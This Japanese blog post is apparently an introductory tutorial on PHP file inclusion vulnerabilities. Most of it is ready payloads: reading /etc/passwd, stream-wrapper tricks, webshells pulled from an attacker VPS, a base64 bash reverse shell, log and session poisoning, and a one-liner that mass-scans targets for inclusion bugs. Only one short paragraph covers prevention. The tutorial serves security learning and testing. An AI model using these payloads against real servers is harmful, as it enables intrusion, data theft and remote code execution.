banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

ファイルに含まれる脆弱性の入門から...

0x01 概要#

ファイルインクルード脆弱性とは

ファイルインクルード脆弱性とは、PHP 関数を使用してファイルをインクルードする際に、渡されたファイル名に対して適切な検証を行わないことにより、攻撃者が悪意のあるパラメータを構築でき、アクセスすべきでないファイルを操作および読み取ることができ、さらには悪意のあるコードをサーバーに注入することができる脆弱性です。

ファイルインクルード脆弱性の危険性

  • 構成ファイルやパスワードファイルなどの機密ファイルにアクセスし、読み取ることができる。
  • 任意のコードを実行でき、システムコマンドやリモートコードを含むことで、サーバーを制御できる。
  • クロスサイトスクリプティング(XSS)などの悪意のあるコードを注入し、ユーザーデータを盗んだり、ユーザーセッションをハイジャックしたりすることができる。

PHP におけるファイルインクルード脆弱性を引き起こす関連関数

include()
include_once()
require()
require_once()

include () と require () の違い

  • include () はファイルのインクルードに失敗した場合、警告を発し、スクリプトは続行される;一方、require () はファイルのインクルードに失敗した場合、致命的なエラーを発し、スクリプトは停止する
  • include () は同じファイルを複数回インクルードできるが、require () は一度だけインクルードでき、それ以外は致命的なエラーを発生させる。

include () と include_once () の違い

  • include () は同じファイルを複数回インクルードできるが、include_once () は一度だけインクルードし、すでにインクルードされている場合は再度インクルードしない。

0x02 ファイルインクルードの分類#

ローカルファイルインクルードはサーバーのローカルファイルのみをインクルードできるが、リモートファイルインクルードはサーバーのローカルファイルだけでなく、リモートサイトのファイルもインクルードできる。

ローカルファイルインクルードの利用

システムファイルの読み取り

http://example:28050/control/more/file_include.php?filename=../../../../../../etc/passwd

image

Windows と Linux では、以下のような内容を読み取ることができ、一般的な機密ファイルのパス情報を列挙しています。

# Windowsシステム

c:\boot.ini
c:\windows\system32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\ProgramFiles\mysql\my.ini
c:\ProgramFiles\mysql\data\mysql\user.MYD
c:\windows\php.ini

# Linux/Unixシステム
/etc/passwd
/etc/shadow
/usr/local/app/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhost.conf
/usr/local/app/php5/lib/php.ini
/etc/httpd/conf/httpd.conf
/etc/my.conf

burpsuite を使用して機密ファイルのブルートフォース攻撃を行うことができます。

image

または、ディレクトリスキャンツール gobuster を利用します。

gobuster fuzz -u "http://<target>/static/ueditor/php/controller.php?action=proxy&remote=file://FUZZ" -w "/pentesting/web-basic/p12-字典收集/pentesting/web/payloads/lfi-rfi/lfi-linux-list.txt" --exclude-length 2176 -H 'Header1: 200' -b 400

インクルードされたファイルに PHP コードが含まれている場合、ファイルの拡張子に関係なく、PHP ファイルとして実行されます。たとえば、1.txt ファイルの内容が<?php phpinfo(); ?>の場合:

http://127.0.0.1:8999/index.php?file=1.txt

image

サーバーコードを読み取るには、PHP の擬似プロトコルを組み合わせる必要があります。たとえば、php://filterを使用すると、出力される内容は base64 形式になります。

http://127.0.0.1:8999/index.php?file=php://filter/convert.base64-encode/resource=index.php

image

リモートファイルインクルードの場合、php.ini の以下の 2 つの設定をオンにする必要があります:

image

リモートサーバーのファイルをインクルードする場合、1.txt ファイルの内容が<?php phpinfo(); ?>の場合:

http://127.0.0.1:8999/index.php?file=http://192.168.101.173:8080/1.txt

image

リモートファイルインクルードは、リモートサーバーで python3 を使用して Web サービスを起動し、ターゲットサーバーにリモートサーバー上にホストされているファイルをダウンロードさせることができます。

python -m SimpleHTTPServer <port> # python2
python3 -m http.server <port> # python3

Web シェルにアクセスします。

http://<target>/index.php?page=http://vps_ip/webshell.php&cmd=id

FTP プロトコルを使用してダウンロードすることもできます。

python3 -m pyftpdlib -p 21

Web シェルにアクセスします。

http://<target>/index.php?page=ftp://vps_ip/webshell.php&cmd=id

0x03 ファイルインクルード脆弱性のバイパス#

1、%00 トランケーション (PHP バージョンが 5.3.4 未満で、GPC がオフの場合)

http://192.168.100.157/fi/02.php?filename=/etc/passwd%00

image

2、リモートファイルインクルードを利用

? または #を使用して拡張子制限をバイパスできます。

http://192.168.100.157/fi/05.php?filename=http://vps_ip:9999/test.txt%23

image

3、エンコーディングバイパス

URLエンコーディングを利用: 
..%2e%2e%2f ..%2f %2e%2e/
..%2e%2e%5c ..%5c %2e%2e\

二重URLエンコーディング
../%252e%252e%252f 
..\%252e%252e%255c

コンテナ/サーバーのエンコーディング方式
../..%c0%af   %c0%ae%c0%ae/
..\..%c1%9c

0x04 PHP 擬似プロトコル#

PHP は、PHP の入出力ストリーム、標準入出力およびエラーディスクリプタ、メモリ内、ディスクバックアップの一時ファイルストリーム、他の読み書きファイルリソースを操作できるフィルターにアクセスするためのいくつかの雑多な入出力(IO)ストリームを提供しています。

1、php://filter

# base64
http://<target>/index.php?page=php://filter/read=convert.base64-encode/resource=../../../<directory>/<file>
# ROT13
http://<target>/index.php?page=php://filter/read=string.rot13/resource=../../../<directory>/<file>
http://127.0.0.1:8999/index.php?file=php://filter/convert.base64-encode/resource=index.php

image

返されるのは base エンコードされた内容です。

2、php://input

POST /index.php?page=php://input
Host: <target>

<?php system('whoami'); ?>

image

3、data://

allow_url_includeallow_url_fopenを有効にする必要があります。

http://192.168.100.157/fi/10.php?filename=data://text/plain,<?php phpinfo();?>
http://192.168.100.157/fi/10.php?filename=data://text/plain,<?php echo base64_encode(file_get_contents("10.php"));?>
http://192.168.100.157/fi/10.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

image

4、zip プロトコル

zip://ストリームは、圧縮ファイル内のファイルにアクセスできる PHP 機能であり、ファイルインクルード関数と組み合わせて使用すると、zip://ストリームは PHP ファイルとして解析され、その中のコードが実行されるため、任意のコード実行のリスクが生じます。

zip://ストリームを使用する際は、絶対パスを渡す必要があり、圧縮ファイルと圧縮ファイル内のファイル内容を区切るために #記号を使用し、# を URL エンコード(# を%23に置き換える)する必要があります。

test.zipにtest.txtファイルが含まれている
http://127.0.0.1/index.php?test=zip:///var/www/html/test.zip%23test.txt

5、phar プロトコル

PHP ファイルを準備します。

# webshell.php
<?php
$phar = new Phar('webshell.phar');
$phar->startBuffering();
$phar->addFromString('webshell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>

phar ファイルを生成します。

php --define phar.readonly=0 webshell.php

mv webshell.phar webshell.jpg

webshell.jpg ファイルをターゲット Web サーバーにアップロードし、識別されたローカルファイルインクルード(LFI)から実行します。

http://<target>/index.php?page=phar://webshell.jpg/webshell.txt&cmd=id

6、file://(ファイルの絶対パス)

file://はローカルファイルシステムにアクセスするために使用され、allow_url_fopenおよびallow_url_includeの影響を受けません。

使用法は次のとおりです:

http://127.0.0.1:8999/index.php?file=file:///etc/passwd

image

擬似プロトコルの使用条件

プロトコルテスト PHP バージョンallow_url_fopenallow_url_include使用法
file>= 4.0.0On/offOn/off?file=file:///etc/passwd
gopher>= 4.3.0OnOff?file=gopher://example.com:test
http>= 4.0.0OnOff?file=https://example.com/test
ftp>= 4.0.0OnOff?file=ftp://example.com/file.txt
data>= 5.2.0OnOn?text=data:text/plain,<?php phpinfo();?>
phar>= 5.3.0OnOff?file=phar://path/to/file.phar/test.php
php://filter>= 5.2.0On/offOn/off?file=php://filter/read=string.rot13/resource=example.php or php://filter/read=convert.base64-encode/resource=./index.php
expect>= 4.3.0OnOff?cmd=expect://id
php://input>= 5.2.0On/offOn/off?file=php://input post data: <?php phpinfo();?>
zip>= 5.2.0On/offOn/off?file=zip:///var/www/html/file.zip%23shell.txt

0x05 ファイルインクルード脆弱性の防止#

ファイルインクルード脆弱性を回避するために、開発者は常にユーザー入力を厳格に検証およびフィルタリングし、ファイルパスの制限や特殊文字のフィルタリングを含めるべきです。また、機密ファイルはサーバーの外部に配置するか、アクセス制御リスト(ACL)を使用して機密ファイルへのアクセスを制限することが望ましいです。

0x06 その他#

1、ファイルインクルードによる RCE#

1、php://input プロトコルを利用

POST /index.php?page=php://input
Host: <target>

<?php system('whoami'); ?>

または

POST /index.php?page=php://input&cmd=cat /etc/passwd

<?php echo(shell_exec($_GET['cmd']));?>

2、data プロトコルを利用

http://<target>/index.php?page=data://text/plain,<?php system('whoami'); ?>
http://jtongic.com:83/start/index.php?page=data:text/plain,<?php system('ls ../');?>

http://<target>/index.php?page=data://text/plain;base64,<base64>

3、ファイルインクルードを使用して webshell コマンドを実行

# webshellを準備し、base64エンコード
echo '<?php system($_GET['cmd']); ?>' | base64

# エンコードされた内容は以下の通り
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=

# 最終ペイロード
http://<target>/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=&cmd=id

4、ファイルインクルードを使用してリバースシェルを実行

# リバースシェル (Bash)
bash -c 'bash -i >& /dev/tcp/<IP-Address>/<port> 0>&1'

# リバースシェル (Bash)をbase64エンコード
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn

# 最終ペイロード
http://<target>/index.php?page=data://text/plain;base64,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn

5、ファイルアップロードと zip プロトコルの組み合わせ

PHP ファイルを含む zip 圧縮ファイルを準備します。

echo '<?php system($_GET['cmd']); ?>' > webshell.php
zip webshell.zip webshell.php

webshell.zip ファイルをターゲット Web サーバーにアップロードし、# 記号を使用して webshell.zip ファイル内のファイルを参照できます。

http://<target>/index.php?page=zip://webshell.zip#cmd.php&cmd=id

http://<target>/index.php?page=zip://webshell.zip%23cmd.php&cmd=id

4、ファイルアップロードと画像の組み合わせ

画像マルウェアを準備します。

echo 'GIF89a<?php system($_GET["cmd"]); ?>' > webshell.gif

画像をサーバーにアップロードし、それをインクルードします。

http://<target>/index.php?page=webshell.gif&cmd=id

サーバー上のディスクの内容を制御できる場合(たとえば、サーバーログ)、コマンド実行に昇格できます。

6、ファイルインクルードログによる RCE

Linux のログファイルパス

/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log

ログに webshell を書き込み、任意のページにアクセスすることで、リクエストパッケージに webshell を含めます。

GET /index.php?page=<log-file>
Host: <target>

User-Agent: <?php system($_GET['cmd']); ?>

webshell にアクセスします。

http://<target>/index.php?page=<log-file>&cmd=id

6、PHP セッションによる RCE

PHP セッションの保存パスは次のとおりです:

/var/lib/php/sessions/
C:\Windows\Temp

大まかな流れ:

PHPSESSIDの値がujllfv2j2j2sm7ae11is401hvdf9であると仮定します。

http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2j2sm7ae11is401hvdf9

セッションに保存されている任意の値を次のように変更します。

<?php system($_GET['cmd']); ?>

webshell にアクセスしてコマンドを実行します。

http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2j2sm7ae11is401hvdf9&cmd=id

ケーススタディ:

SESSION["username"]= $_GET['iwebsec'];

iwebsec 変数の値をセッションに保存し、http://192.168.100.157/fi/03.php?iwebsec=iwebsec にアクセスすると、/var/lib/php/sessions/ ディレクトリにセッションの値が保存されます。

セッションはブラウザの F12 - ネットワークで確認でき、セッションの内容には sess_PHPSESSID が含まれます。

image

セッションに内容を書き込んだ後、ファイルインクルード脆弱性を使用してセッションファイルをインクルードします。

image

コマンドを実行します。

image

2、一つのコマンドファイルインクルード#

gau $target | gf lfi | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
  • gau、既知の URL を取得
  • gf: 対応する内容をフィルタリング
  • qsreplace: 標準入力の URL を受け取り、ユーザーが提供した値でクエリ文字列のすべての値を置き換え、各ホストとパスのクエリ文字列パラメータの各組み合わせを一度だけ出力します。

3、ツール#

image

参考#

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。